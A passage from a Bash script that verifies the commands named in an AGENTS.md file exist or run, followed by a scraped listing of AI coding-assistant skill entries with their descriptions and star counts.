                COMMAND_RESULTS["$cmd"]='{"exists": true}'
                ((PASSED+=1))
            else
                warn "uv not installed"
                COMMAND_RESULTS["$cmd"]='{"exists": false}'
                ((SKIPPED+=1))
            fi
            ;;

        pytest)
            # pytest test runner
            if command -v pytest > /dev/null 2>&1; then
                success "pytest available"
                COMMAND_RESULTS["$cmd"]='{"exists": true}'
                ((PASSED+=1))
            else
                warn "pytest not installed"
                COMMAND_RESULTS["$cmd"]='{"exists": false}'
                ((SKIPPED+=1))
            fi
            ;;

        cargo)
            # Rust cargo
            if command -v cargo > /dev/null 2>&1; then
                success "cargo command available"
                COMMAND_RESULTS["$cmd"]='{"exists": true}'
                ((PASSED+=1))
            else
                warn "cargo not installed"
                COMMAND_RESULTS["$cmd"]='{"exists": false}'
                ((SKIPPED+=1))
            fi
            ;;

        deno)
            # Deno runtime
            if command -v deno > /dev/null 2>&1; then
                success "deno command available"
                COMMAND_RESULTS["$cmd"]='{"exists": true}'
                ((PASSED+=1))
            else
                warn "deno not installed"
                COMMAND_RESULTS["$cmd"]='{"exists": false}'
                ((SKIPPED+=1))
            fi
            ;;

        gradle|gradlew|./gradlew)
            # Gradle build tool
            if [ -f "gradlew" ] || [ -f "build.gradle" ] || [ -f "build.gradle.kts" ]; then
                success "gradle project detected"
                COMMAND_RESULTS["$cmd"]='{"exists": true}'
                ((PASSED+=1))
            elif command -v gradle > /dev/null 2>&1; then
                success "gradle command available"
                COMMAND_RESULTS["$cmd"]='{"exists": true}'
                ((PASSED+=1))
            else
                warn "gradle not found"
                COMMAND_RESULTS["$cmd"]='{"exists": false}'
                ((SKIPPED+=1))
            fi
            ;;

        go)
            # Go commands are generally available if go is installed
            if command -v go > /dev/null 2>&1; then
                if [ "$SMOKE_TEST" = true ]; then
                    if smoke_test_command "$cmd"; then
                        local duration="${COMMAND_RESULTS[$cmd]}"
                        duration=$(echo "$duration" | grep -oE '"duration_ms": [0-9]+' | cut -d: -f2 | tr -d ' ')
                        success "go command ran successfully (~${duration}ms)"
                        ((PASSED+=1))
                    else
                        error "go command failed: $cmd"
                        ((FAILED+=1))
                    fi
                else
                    success "go command available"
                    COMMAND_RESULTS["$cmd"]='{"exists": true}'
                    ((PASSED+=1))
                fi
            else
                error "go not installed"
                COMMAND_RESULTS["$cmd"]='{"exists": false}'
                ((FAILED+=1))
            fi
            ;;

        vendor/bin/*)
            # PHP vendor binary
            if [ -f "$base_cmd" ]; then
                if [ "$SMOKE_TEST" = true ]; then
                    # For test commands, run with --help to avoid actually running tests
                    local test_cmd="$cmd"
                    if [[ "$cmd" == *"phpunit"* ]] && [[ "$cmd" != *"--help"* ]]; then
                        test_cmd="$base_cmd --help"
                    fi
                    if smoke_test_command "$test_cmd"; then
                        local duration="${COMMAND_RESULTS[$cmd]}"
                        duration=$(echo "$duration" | grep -oE '"duration_ms": [0-9]+' | cut -d: -f2 | tr -d ' ')
                        success "vendor binary works (~${duration}ms)"
                        ((PASSED+=1))
                    else
                        warn "vendor binary exists but failed: $cmd"
                        ((SKIPPED+=1))
                    fi
                else
                    success "vendor binary exists: $base_cmd"
                    COMMAND_RESULTS["$cmd"]='{"exists": true}'
                    ((PASSED+=1))
                fi
            else
                error "vendor binary not found: $base_cmd"
                COMMAND_RESULTS["$cmd"]='{"exists": false}'
                ((FAILED+=1))
            fi
            ;;

        *)
            # Check if command exists in PATH
            if command -v "$base_cmd" > /dev/null 2>&1; then
                if [ "$SMOKE_TEST" = true ]; then
                    if smoke_test_command "$cmd"; then
                        local duration="${COMMAND_RESULTS[$cmd]}"
                        duration=$(echo "$duration" | grep -oE '"duration_ms": [0-9]+' | cut -d: -f2 | tr -d ' ')
                        success "command works (~${duration}ms)"
                        ((PASSED+=1))
                    else
                        warn "command exists but failed: $cmd"
                        ((SKIPPED+=1))
                    fi
                else
                    success "command exists: $base_cmd"
                    COMMAND_RESULTS["$cmd"]='{"exists": true}'
                    ((PASSED+=1))
                fi
            else
                warn "command not in PATH: $base_cmd"
                COMMAND_RESULTS["$cmd"]='{"exists": false}'
                ((SKIPPED+=1))
            fi
            ;;
    esac
}

# Get unique commands
mapfile -t commands < <(extract_commands | sort -u)

if [ ${#commands[@]} -eq 0 ]; then
    warn "No commands found in AGENTS.md"
    if [[ "$JSON" = true ]]; then
        jq -nc --argjson p "$PASSED" --argjson s "$SKIPPED" --argjson f "$FAILED" \
            '{script:"verify-commands",schema:1,summary:{passed:$p,skipped:$s,failed:$f},commands:[]}' >&3
    fi
    exit 0
fi

echo "Found ${#commands[@]} unique commands to verify"
echo ""

for cmd in "${commands[@]}"; do
    [ -n "$cmd" ] && verify_command "$cmd"
done

# Emit JSON document (machine-readable) and exit before the human summary.
# Summary counts come from the authoritative PASSED/SKIPPED/FAILED counters; the
# commands[] array is built best-effort from COMMAND_RESULTS (iterating its keys,
# parsing each stored value as JSON, else null).
if [[ "$JSON" = true ]]; then
    if [[ "${#COMMAND_RESULTS[@]}" -gt 0 ]]; then
        # Iterate keys in SORTED order: associative-array key order is otherwise
        # unspecified in Bash, which would make commands[] order vary run to run.
        # read -r (not word-split) preserves command strings that contain spaces.
        while IFS= read -r cmd; do
            stored="${COMMAND_RESULTS[$cmd]}"
            if entry=$(jq -nc --arg cmd "$cmd" --argjson detail "$stored" \
                '{cmd:$cmd,detail:$detail}' 2>/dev/null); then
                JSON_CMDS+=("$entry")
            else
                JSON_CMDS+=("$(jq -nc --arg cmd "$cmd" '{cmd:$cmd,detail:null}')")
            fi
        done < <(printf '%s\n' "${!COMMAND_RESULTS[@]}" | LC_ALL=C sort)
    fi

    if [[ "${#JSON_CMDS[@]}" -eq 0 ]]; then
        arr_json='[]'
    else
        arr_json=$(printf '%s\n' "${JSON_CMDS[@]}" | jq -s '.')
    fi

    jq -nc \
        --argjson items "$arr_json" \
        --argjson p "$PASSED" \
        --argjson s "$SKIPPED" \
        --argjson f "$FAILED" \
        '{script:"verify-commands",schema:1,summary:{passed:$p,skipped:$s,failed:$f},commands:$items}' >&3

    if [[ "$FAILED" -gt 0 ]]; then exit 1; fi
    exit 0
fi

echo ""
echo "======================================"
echo "Verification Summary"
echo "======================================"
echo -e "${GREEN}Passed:${NC}  $PASSED"
echo -e "${YELLOW}Skipped:${NC} $SKIPPED"
echo -e "${RED}Failed:${NC}  $FAILED"
echo ""

if [ "$FAILED" -gt 0 ]; then
    echo -e "${RED}Some commands in AGENTS.md are invalid!${NC}"
    echo "Update AGENTS.md to fix broken command references."

    # Still write JSON results
    if [ "$DRY_RUN" = false ] && [ ${#COMMAND_RESULTS[@]} -gt 0 ]; then
        write_json_results
    fi

    exit 1
else
    echo -e "${GREEN}All verifiable commands are valid.${NC}"

    # Write JSON results
    if [ "$DRY_RUN" = false ] && [ ${#COMMAND_RESULTS[@]} -gt 0 ]; then
        write_json_results
        [ "$SIDECAR_WRITABLE" = true ] && echo "Verification results saved to $OUTPUT_JSON"
    fi

    # A verification run changes the file it checks only when asked to.
    if [ "$DRY_RUN" = false ] && [ "$UPDATE_VERIFIED" = true ] && [ -w "$AGENTS_FILE" ]; then
        TODAY=$(date +%Y-%m-%d)
        if grep -q "Last verified:" "$AGENTS_FILE"; then
            # Portable sed -i: use backup extension then remove backup
            sed -i.bak "s/Last verified: .*/Last verified: $TODAY -->/" "$AGENTS_FILE" && rm -f "$AGENTS_FILE.bak"
            echo "Updated 'Last verified' timestamp to $TODAY"
        fi
    fi
fi
rea-changelog-updatemorluto/reaPrepare or rewrite REA release changelogs and GitHub release notes from pinned Git history, with verified contributor thanks and Release Please synchronization.Stars: 469kUpdated Claude CodeCodexVerifiedInstall
academy-guideanthropics/skillsStop and check this skill before finishing any reply to a question about how to use Claude or a Claude product — it recommends matching courses, tutorials, and use cases from Claude Academy (academy.claude.com), Anthropic's learning hub. Trigger on: "how do I", "how can I", "getting started with", "what can Claude do", "teach me", "learn to use"; questions about artifacts, projects, skills, plugins, connectors, MCP; requests about rolling Claude out to a team, class, or organization; and any ask for training materials, onboarding content, or learning resources. Use it when the user is learning how to use a feature or product — not when they are mid-task and just want the task done. This skill composes with other skills: after consulting product documentation to answer how a Claude feature works, also check here for a matching course or tutorial — a docs-grounded answer and an Academy recommendation belong together. Only recommend on a strong match; never invent Academy content.Stars: 197kUpdated Claude CodeCodexVerifiedInstall
claude-apianthropics/skillsReference for the Claude API / Anthropic SDK — model ids, pricing, params, streaming, tool use, MCP, agents, caching, token counting, model migration. TRIGGER — read BEFORE opening the target file; don't skip because it "looks like a one-liner" — whenever: the prompt names Claude/Anthropic in any form (Claude, Anthropic, Fable, Opus, Sonnet, Haiku, `anthropic`, `@anthropic-ai`, `claude-*`, `us.anthropic.*`, `[1m]`); the user asks about an LLM (pricing/model choice/limits/caching) — never answer from memory; OR the task is LLM-shaped with provider unstated (agent/MCP/tool-definition/multi-agent/RAG/LLM-judge/computer-use; generate/summarize/extract/classify/rewrite/converse over NL; debugging refusals/cutoffs/streaming/tool-calls/tokens). SKIP only when another provider is being worked on (overrides all triggers): OpenAI/GPT/Gemini/Llama/Mistral/Cohere/Ollama named in the query; OR `grep -rE 'openai|langchain_openai|google.generativeai|genai|mistralai|cohere|ollama'` over the project hits (run this grep FIRST if no provider named — don't Read the file).Stars: 197kUpdated Claude CodeCodexUnverifiedInstall
doc-coauthoringanthropics/skillsGuide users through a structured workflow for co-authoring documentation. Use when user wants to write documentation, proposals, technical specs, decision docs, or similar structured content. This workflow helps users efficiently transfer context, refine content through iteration, and verify the doc works for readers. Trigger when user mentions writing docs, creating proposals, drafting specs, or similar documentation tasks.Stars: 197kUpdated Claude CodeCodexVerifiedInstall